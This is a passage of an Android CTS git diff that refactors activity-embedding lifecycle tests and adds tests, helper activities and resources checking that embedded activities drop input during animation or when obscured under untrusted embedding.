@@ -202,9 +199,9 @@
transition(TestConfigChangeHandlingActivity.class, ON_CREATE),
transition(TestActivityWithId.class, ON_CREATE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Init split states");
- mLifecycleLog.clear();
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Init split states");
+ mEventLog.clear();
// Launch another secondary activity to side
splitPairRule = createWildcardSplitPairRuleWithPrimaryActivityClass(
@@ -217,8 +214,8 @@
transition(TestConfigChangeHandlingActivity.class, ON_PAUSE),
transition(TestActivityWithId2.class, ON_CREATE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected2));
- assertOrder(mLifecycleLog, expected2, "Launch second secondary activity to side");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected2));
+ assertOrder(mEventLog, expected2, "Launch second secondary activity to side");
waitAndAssertNotVisible(primaryActivity);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
@@ -239,7 +236,7 @@
Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
TestActivityWithId.class, splitPairRule,
"secondaryActivity1", mSplitInfoConsumer);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish secondary activity
secondaryActivity.finish();
@@ -247,8 +244,8 @@
transition(TestActivityWithId.class, ON_PAUSE),
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
transition(TestActivityWithId.class, ON_DESTROY));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Finish secondary activity");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Finish secondary activity");
waitAndAssertResumed(primaryActivity);
}
@@ -271,7 +268,7 @@
Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
TestActivityWithId.class, splitPairRule,
"secondaryActivity1", mSplitInfoConsumer);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish secondary activity, should trigger finishing of the primary as well
secondaryActivity.finish();
@@ -279,8 +276,8 @@
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
transition(TestActivityWithId.class, ON_DESTROY),
transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Finish secondary activity with dependents");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Finish secondary activity with dependents");
}
/**
@@ -302,15 +299,15 @@
Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
TestActivityWithId.class, splitPairRule,
"secondaryActivity1", mSplitInfoConsumer);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish primary activity
primaryActivity.finish();
List<Pair<String, String>> expected = List.of(
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Finish primary activity only");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Finish primary activity only");
waitAndAssertResumed(secondaryActivity);
}
@@ -332,7 +329,7 @@
// Launch a secondary activity to side
startActivityAndVerifySplit(primaryActivity, TestActivityWithId.class, splitPairRule,
"secondaryActivity1", mSplitInfoConsumer);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish primary activity should trigger finishing of the secondary as well.
primaryActivity.finish();
@@ -340,8 +337,8 @@
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
transition(TestActivityWithId.class, ON_DESTROY),
transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Finish primary activity with dependents");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Finish primary activity with dependents");
}
/**
@@ -370,7 +367,7 @@
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish the last activity
secondaryActivity2.finish();
@@ -378,8 +375,8 @@
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
transition(TestActivityWithId2.class, ON_DESTROY),
transition(TestConfigChangeHandlingActivity.class, ON_RESUME));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Finish last activity in multi-split");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Finish last activity in multi-split");
}
/**
@@ -409,7 +406,7 @@
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish the middle activity
secondaryActivity.finish();
@@ -419,8 +416,8 @@
transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED),
transition(TestActivityWithId.class, ON_DESTROY),
transition(TestConfigChangeHandlingActivity.class, ON_STOP));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Finish middle activity in multi-split");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Finish middle activity in multi-split");
}
/**
@@ -447,7 +444,7 @@
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish the middle activity
secondaryActivity.finish();
@@ -458,8 +455,8 @@
transition(TestActivityWithId.class, ON_DESTROY),
transition(TestConfigChangeHandlingActivity.class, ON_STOP));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected, "Finish middle activity in multi-split");
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected, "Finish middle activity in multi-split");
}
/**
@@ -489,7 +486,7 @@
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mLifecycleLog.clear();
+ mEventLog.clear();
// Finish the middle activity
secondaryActivity.finish();
@@ -497,45 +494,45 @@
List<Pair<String, String>> expected = List.of(
transition(TestActivityWithId2.class, ON_DESTROY),
transition(TestActivityWithId.class, ON_DESTROY));
- mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mLifecycleLog, expected));
- assertOrder(mLifecycleLog, expected,
+ mLifecycleTracker.waitForConditionWithTimeout(() -> checkOrder(mEventLog, expected));
+ assertOrder(mEventLog, expected,
"Finish middle activity in multi-split with dependents");
mLifecycleTracker.waitForConditionWithTimeout(() ->
- mLifecycleLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
+ mEventLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
assertTrue("Split state change must be observed",
- mLifecycleLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
+ mEventLog.getLog().contains(transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED)));
}
private final class LifecycleCallbacks implements
Application.ActivityLifecycleCallbacks {
@Override
public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
- mLifecycleLogClient.onActivityCallback(ON_CREATE, activity);
+ mEventLogClient.onCallback(ON_CREATE, activity);
}
@Override
public void onActivityStarted(Activity activity) {
- mLifecycleLogClient.onActivityCallback(ON_START, activity);
+ mEventLogClient.onCallback(ON_START, activity);
}
@Override
public void onActivityResumed(Activity activity) {
- mLifecycleLogClient.onActivityCallback(ON_RESUME, activity);
+ mEventLogClient.onCallback(ON_RESUME, activity);
}
@Override
public void onActivityPaused(Activity activity) {
- mLifecycleLogClient.onActivityCallback(ON_PAUSE, activity);
+ mEventLogClient.onCallback(ON_PAUSE, activity);
}
@Override
public void onActivityStopped(Activity activity) {
- mLifecycleLogClient.onActivityCallback(ON_STOP, activity);
+ mEventLogClient.onCallback(ON_STOP, activity);
}
@Override
public void onActivityDestroyed(Activity activity) {
- mLifecycleLogClient.onActivityCallback(ON_DESTROY, activity);
+ mEventLogClient.onCallback(ON_DESTROY, activity);
}
@Override
@@ -547,7 +544,7 @@
@Override
public void accept(T value) {
super.accept(value);
- mLifecycleLogClient.onActivityCallback(ON_SPLIT_STATES_UPDATED, TEST_OWNER);
+ mEventLogClient.onCallback(ON_SPLIT_STATES_UPDATED, TEST_OWNER);
}
}
}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
new file mode 100644
index 0000000..a929e86
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.second.Components.SECOND_UNTRUSTED_EMBEDDING_ACTIVITY;
+import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_EMBED_ACTIVITY;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityNewTask;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityOnDisplaySingleTop;
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.server.wm.ActivityManagerTestBase;
+import android.server.wm.Condition;
+import android.server.wm.NestedShellPermission;
+import android.server.wm.WindowManagerState;
+import android.server.wm.jetpack.utils.TestActivityKnownEmbeddingCerts;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.SplitPairRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.function.BooleanSupplier;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests security
+ * policies that should be applied by the system.
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingPolicyTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingPolicyTests extends ActivityManagerTestBase {
+ protected ActivityEmbeddingComponent mActivityEmbeddingComponent;
+
+ @Override
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ // TODO(b/207070762): remove the assumption after shell transition enabled.
+ assumeFalse(ENABLE_SHELL_TRANSITIONS);
+ assumeExtensionSupportedDevice();
+ WindowExtensions windowExtensions = getWindowExtensions();
+ assumeNotNull(windowExtensions);
+ mActivityEmbeddingComponent = windowExtensions.getActivityEmbeddingComponent();
+ assumeNotNull(mActivityEmbeddingComponent);
+ }
+
+ @After
+ public void tearDown() {
+ ActivityManager am = mContext.getSystemService(ActivityManager.class);
+ NestedShellPermission.run(() -> am.forceStopPackage("android.server.wm.jetpack.second"));
+ NestedShellPermission.run(() -> am.forceStopPackage("android.server.wm.jetpack.signed"));
+ }
+
+ /**
+ * Verifies that all input is dropped for activities that are embedded and being animated with
+ * untrusted embedding.
+ */
+ @Test
+ public void testInputDuringAnimationIsNotAllowed_untrustedEmbedding() {
+ Activity primaryActivity = startActivityNewTask(mContext, mInstrumentation,
+ TestConfigChangeHandlingActivity.class, null /* activityId */);
+
+ SplitPairRule splitPairRule = createWildcardSplitPairRule(true /* shouldClearTop */);
+ mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+ // Extend the animation scale, so that the test has enough time to catch the state during
+ // transition.
+ UiAutomation automation = mInstrumentation.getUiAutomation();
+ automation.setAnimationScale(2f);
+
+ try {
+ startActivityFromActivity(primaryActivity, SECOND_UNTRUSTED_EMBEDDING_ACTIVITY,
+ "initialSecondaryActivity", Bundle.EMPTY);
+
+ // Verify that the embedded activity drops input during animation
+ mWmState.waitForAppTransitionRunningOnDisplay(primaryActivity.getDisplayId());
+ waitForOrFailWithRapidRetry(
+ "Embedded activity must drop all input for the duration of animation",
+ () -> {
+ mWmState.computeState();
+ return mWmState.getActivity(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY)
+ .getLastDropInputMode() == 1 /* DropInputMode.ALL */;
+ });
+
+ // Verify that the embedded activity drops input if obscured after animation
+ mWmState.waitForAppTransitionIdleOnDisplay(primaryActivity.getDisplayId());
+ assertEquals(
+ "Embedded activity must drop input if obscured in untrusted embedding",
+ 2 /* DropInputMode.OBSCURED */,
+ mWmState.getActivity(
+ SECOND_UNTRUSTED_EMBEDDING_ACTIVITY).getLastDropInputMode());
+ } finally {
+ automation.setAnimationScale(1f);
+ }
+ }
+
+ /**
+ * Verifies that all input is dropped for activities that are embedded and being animated with
+ * trusted embedding.
+ */
+ @Test
+ public void testInputDuringAnimationIsNotAllowed_trustedEmbedding() {
+ // Extend the animation scale, so that the test has enough time to catch the state during
+ // transition.
+ UiAutomation automation = mInstrumentation.getUiAutomation();
+ automation.setAnimationScale(2f);
+
+ try {
+ // Start an activity that will attempt to embed TestActivityKnownEmbeddingCerts
+ startActivityOnDisplaySingleTop(mContext, DEFAULT_DISPLAY, SIGNED_EMBEDDING_ACTIVITY,
+ Bundle.EMPTY);
+ mWmState.waitForActivityState(SIGNED_EMBEDDING_ACTIVITY,
+ WindowManagerState.STATE_RESUMED);
+ mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
+ Bundle embedExtra = new Bundle();
+ embedExtra.putBoolean(EXTRA_EMBED_ACTIVITY, true);
+ startActivityOnDisplaySingleTop(mContext, DEFAULT_DISPLAY, SIGNED_EMBEDDING_ACTIVITY,
+ embedExtra);
+
+ // Verify that the embedded activity drops input during animation
+ final ComponentName embeddedActivityComponent = new ComponentName(mContext,
+ TestActivityKnownEmbeddingCerts.class);
+ mWmState.waitForAppTransitionRunningOnDisplay(DEFAULT_DISPLAY);
+ waitForOrFailWithRapidRetry(
+ "Embedded activity must drop all input for the duration of animation",
+ () -> {
+ mWmState.computeState();
+ return mWmState.getActivity(embeddedActivityComponent)
+ .getLastDropInputMode() == 1 /* DropInputMode.ALL */;
+ });
+
+ // Verify that the embedded activity drops input if obscured after animation
+ mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ assertEquals(
+ "Embedded activity must not drop input if obscured in trusted embedding",
+ 0 /* DropInputMode.NONE */,
+ mWmState.getActivity(embeddedActivityComponent).getLastDropInputMode());
+ } finally {
+ automation.setAnimationScale(1f);
+ }
+ }
+
+ static void waitForOrFailWithRapidRetry(@NonNull String message,
+ @NonNull BooleanSupplier condition) {
+ Condition.waitFor(new Condition<>(message, condition)
+ .setRetryIntervalMs(50)
+ .setRetryLimit(100)
+ .setOnFailure(unusedResult -> fail("FAILED because unsatisfied: " + message)));
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index 4e5cdc0..fb9f5e8 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -17,6 +17,7 @@
package android.server.wm.jetpack.utils;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
@@ -31,6 +32,7 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
+import android.app.ActivityOptions;
import android.app.Application;
import android.app.Instrumentation;
import android.content.ComponentName;
@@ -56,6 +58,7 @@
public class WindowManagerJetpackTestBase {
public static final String ACTIVITY_ID_LABEL = "ActivityID";
+ public static final String EXTRA_EMBED_ACTIVITY = "EmbedActivity";
public Instrumentation mInstrumentation;
public Context mContext;
@@ -88,23 +91,46 @@
public Activity startActivityNewTask(@NonNull Class activityClass,
@Nullable String activityId) {
- final Intent intent = new Intent(mContext, activityClass);
+ return startActivityNewTask(mContext, mInstrumentation, activityClass, activityId);
+ }
+
+ public static Activity startActivityNewTask(@NonNull Context context,
+ @NonNull Instrumentation instrumentation, @NonNull Class activityClass,
+ @Nullable String activityId) {
+ final Intent intent = new Intent(context, activityClass);
intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
if (activityId != null) {
intent.putExtra(ACTIVITY_ID_LABEL, activityId);
}
- final Activity activity = mInstrumentation.startActivitySync(intent);
- return activity;
+ return instrumentation.startActivitySync(intent);
}
/**
* Start an activity using a component name. Can be used for activities from a different UIDs.
*/
- public void startActivityNewTask(@NonNull ComponentName activityComponent) {
- final Intent intent = new Intent();
- intent.setClassName(activityComponent.getPackageName(), activityComponent.getClassName());
- intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- mContext.startActivity(intent);
+ public static void startActivityNoWait(@NonNull Context context,
+ @NonNull ComponentName activityComponent, @NonNull Bundle extras) {
+ final Intent intent = new Intent()
+ .setClassName(activityComponent.getPackageName(), activityComponent.getClassName())
+ .addFlags(FLAG_ACTIVITY_NEW_TASK)
+ .putExtras(extras);
+ context.startActivity(intent);
+ }
+
+ /**
+ * Start an activity using a component name on the specified display with
+ * {@link FLAG_ACTIVITY_SINGLE_TOP}. Can be used for activities from a different UIDs.
+ */
+ public static void startActivityOnDisplaySingleTop(@NonNull Context context,
+ int displayId, @NonNull ComponentName activityComponent, @NonNull Bundle extras) {
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchDisplayId(displayId);
+
+ Intent intent = new Intent()
+ .addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_SINGLE_TOP)
+ .setComponent(activityComponent)
+ .putExtras(extras);
+ context.startActivity(intent, options.toBundle());
}
/**
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
index 3a608dc..40910d7 100644
--- a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -19,22 +19,29 @@
package="android.server.wm.overlay">
<!-- We use SAWs to create obscuring windows for test WindowUntrustedTouchTest -->
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<application>
<service
android:name="android.server.wm.overlay.UntrustedTouchTestService"
- android:exported="true" />
+ android:exported="true"/>
<activity
android:name="android.server.wm.overlay.OverlayActivity"
android:theme="@android:style/Theme.Translucent"
- android:exported="true" />
+ android:exported="true"/>
<activity
android:name="android.server.wm.overlay.ExitAnimationActivity"
- android:exported="true" />
+ android:exported="true"/>
<activity
android:name="android.server.wm.overlay.ToastActivity"
- android:exported="true" />
+ android:exported="true"/>
+ <activity
+ android:name="android.server.wm.overlay.TrampolineActivity"
+ android:exported="true"/>
+ <activity
+ android:name="android.server.wm.overlay.TranslucentFloatingActivity"
+ android:theme="@style/TranslucentFloatingTheme"
+ android:exported="true"/>
</application>
</manifest>
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/fade.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/fade.xml
new file mode 100644
index 0000000..be65f81
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/fade.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2008 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<alpha xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromAlpha="1.0"
+ android:toAlpha="0.0"
+ android:duration="3000" />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/values/styles.xml b/tests/framework/base/windowmanager/overlayappbase/res/values/styles.xml
new file mode 100644
index 0000000..fd7ccc2
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/values/styles.xml
@@ -0,0 +1,23 @@
+<!--
+ ~ Copyright (C) 2018 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <style name="TranslucentFloatingTheme" >
+ <item name="android:windowIsTranslucent">true</item>
+ <item name="android:windowIsFloating">true</item>
+ <item name="android:windowNoTitle">true</item>
+ </style>
+</resources>
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
index beff6c1..499d590 100644
--- a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
@@ -17,6 +17,7 @@
package android.server.wm.overlay;
import android.content.ComponentName;
+import android.os.Bundle;
import android.server.wm.component.ComponentsBase;
@@ -51,6 +52,33 @@
ComponentName COMPONENT = component("ToastActivity");
}
+ public interface TranslucentFloatingActivity {
+ String ACTION_FINISH =
+ "android.server.wm.overlay.TranslucentFloatingActivity.ACTION_FINISH";
+ String EXTRA_FADE_EXIT =
+ "android.server.wm.overlay.TranslucentFloatingActivity.ACTION_FINISH_FADE_EXIT";
+ ComponentName BASE_COMPONENT = component("TranslucentFloatingActivity");
+ static ComponentName getComponent(String packageName) {
+ return new ComponentName(packageName, BASE_COMPONENT.getClassName());
+ }
+ }
+
+ public interface TrampolineActivity {
+ ComponentName BASE_COMPONENT = component("TrampolineActivity");
+ String COMPONENTS_EXTRA = "components_extra";
+
+ static ComponentName getComponent(String packageName) {
+ return new ComponentName(packageName, BASE_COMPONENT.getClassName());
+ }
+
+ static Bundle buildTrampolineExtra(ComponentName... componentNames) {
+ Bundle trampolineTarget = new Bundle();
+ trampolineTarget.putParcelableArray(COMPONENTS_EXTRA, componentNames);
+ return trampolineTarget;
+ }
+
+ }
+
private static ComponentName component(String className) {
return component(Components.class, className);
}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TrampolineActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TrampolineActivity.java
new file mode 100644
index 0000000..ecd475b
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TrampolineActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TrampolineActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ ComponentName[] componentNames = getIntent().getParcelableArrayExtra(
+ Components.TrampolineActivity.COMPONENTS_EXTRA,
+ ComponentName.class);
+ for (ComponentName componentName : componentNames) {
+ Intent intent = new Intent();
+ intent.setComponent(componentName);
+ startActivity(intent);
+ }
+ finish();
+ }
+
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TranslucentFloatingActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TranslucentFloatingActivity.java
new file mode 100644
index 0000000..e6249ac
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/TranslucentFloatingActivity.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Color;
+import android.os.Bundle;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.LinearLayout;
+
+public class TranslucentFloatingActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ LinearLayout tv = new LinearLayout(this);
+ tv.setBackgroundColor(Color.GREEN);
+ tv.setPadding(50, 50, 50, 50);
+ tv.setGravity(Gravity.CENTER);
+ setContentView(tv);
+
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL);
+ getWindow().clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND);
+
+ registerReceiver(mReceiver,
+ new IntentFilter(Components.TranslucentFloatingActivity.ACTION_FINISH));
+ }
+
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (Components.TranslucentFloatingActivity.ACTION_FINISH.equals(intent.getAction())) {
+ unregisterReceiver(this);
+ finish();
+ if (intent.getBooleanExtra(
+ Components.TranslucentFloatingActivity.EXTRA_FADE_EXIT, false)) {
+ overridePendingTransition(0, R.anim.fade);
+ }
+ }
+ }
+ };
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTests.java
new file mode 100644
index 0000000..2a8330d
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityRecordInputSinkTests.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
